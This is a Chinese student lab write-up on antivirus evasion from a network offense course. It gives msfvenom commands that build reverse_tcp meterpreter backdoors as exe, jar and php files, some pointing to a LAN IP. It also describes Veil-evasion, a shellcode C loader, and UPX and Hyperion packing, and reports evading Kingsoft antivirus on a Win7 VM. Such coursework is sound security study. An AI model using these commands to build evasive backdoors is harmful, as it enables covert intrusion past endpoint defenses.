免杀原理与实践说明

一、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
  • 任务二:通过组合应用各种技术实现恶意代码免杀(1分)
  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

二、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是做什么?
    • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:

      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其他语言重写再编译
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:



可以看出,39款杀软中有28款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行多次编码,再使用virscan.org进行扫描,结果如下所示:



见鬼了,多次编码之后反而报毒的软件多了一款????可见单纯依靠多次编码之后的后门,还是会被大多数杀软发现并清理的。

msfvenom生成jar文件

生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> bd_java.jar生成文件如下所示:



扫描结果如下:

msfvenom生成php文件

生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> 20165314_backdoor.php生成文件如下所示:



扫描结果如下:

使用veil-evasion生成后门程序及检测

1、启动evil,选择evasion,指定payload为第七号即c/meterpreter/rev_tcp.py,选择设置好回连的IP地址和端口号后,生成后门文件:



2、放到virscan.org上扫描一下:



比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。

注入Shellcode并执行

1、生成的shellcode如下图所示:



2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:



可以成功获取了windows权限。

3、不过,还是会被杀毒软件发现。

进行加壳尝试

压缩壳

  • 使用UPX对生成的后门程序加壳:

  • 扫描结果也比较乐观:



    7、测试仍然可用:

加密壳

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v bd_upxed.exe bd_upxed_hyperion.exe进行加壳



  • 测试结果

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀
  • 任务成功截图:

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

受害者为win7虚拟机,使用金山毒霸,版本如下:



作案现场:



不在场证明:

至此,本周的三个实验,结束咯(束咯(咯~))!!

实验总结与体会

    在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在展开过程中在16%、25%、44%都有卡住,我重复安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,但是我们现在学到的两种壳还是很容易被一些杀毒大厂识破。

开启杀软能绝对防止电脑中恶意代码吗?

肯定不行啊要有绝对用我们学这门课干啥呀?目前市面上的杀软采用的模式无非就是按照已知恶意代码的各方面特征进行匹配,好比按图索骥,这种方式只能对已有的恶意代码及由其衍生而来的次生代码进行甄别,但对于新开发的恶意代码,拥有全新的代码特征、行为模式,就无法被即时识别,我们学这门课的目的也就是从学习从攻击者角度进行思考、行动,从而减少恶意代码攻击成功的可能。

2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. [2019.03.16]使用DOM操作函数和CSS选择器来针对已有的HTML进行只凭JS的改动

    刚入职的时候看到公司用的HTML日志生成工具附带的Panel,工具不够用,找个Fail还要找半天,于是自己琢磨着添砖加瓦.以前也是个半吊子前端工程师,现在可倒好,想要改页面却连页面生成的模板在哪里都不 ...

  2. ShoppingCart

    数据库设计 表结构 [dbo].[AdminInfo] AdminID, AdminName, AdminPassword, RoleID [dbo].[BK_Car] ID, CarID, ISBN ...

  3. 特殊计数序列——Catalan数

    Catalan数 前10项 \(1,1,2,5,14,42,132,429,1430,4862\) (注:从第\(0\)项起) 计算式 \(C_n=\frac{1}{n+1}\dbinom{2n}{n ...

  4. 【BZOJ4030】[HEOI2015]小L的白日梦

    [BZOJ4030][HEOI2015]小L的白日梦 题面 BZOJ 洛谷 题解 要求的是最小的不开心连续段的期望. 然后发现自己就不会做了. 然后就可以来抄题解啦. 首先来猜性质: 第一个,一定是按 ...

  5. 【dp】P2642 双子序列最大和

    题目描述 给定一个长度为n的整数序列,要求从中选出两个连续子序列,使得这两个连续子序列的序列和之和最大,最终只需输出最大和.一个连续子序列的和为该子序列中所有数之和.每个连续子序列的最小长度为1,并且 ...

  6. (十一)QPainter绘图, QPixmap,QImage,QPicture,QBitmap

    #include "widget.h" #include "ui_widget.h" #include <QPainter> #include &l ...

  7. pthread 线程立即取消的两种方法

    1.相关函数介绍 a. int pthread_cancel(pthread_t thread) 1发送终止信号给thread线程,如果成功则返回0,否则为非0值.发送成功并不意味着thread会终止 ...

  8. jmeter 多个sql写在一个jdbc请求中注意事项

    在url里面加上?allowMultiQueries=true 类型选callableStatement

  9. Airflow Comman Line 测试

    官网文档:https://incubator-airflow.readthedocs.io/en/latest/cli.html clear (1)clear 指定日期某一个dag下的任务,任务名可以 ...

  10. luasocket编译安装遇到的坑

    由于需要获得本机的IP地址,所以需要 : local socket = require('socket') local server_hostname = socket.dns.gethostname ...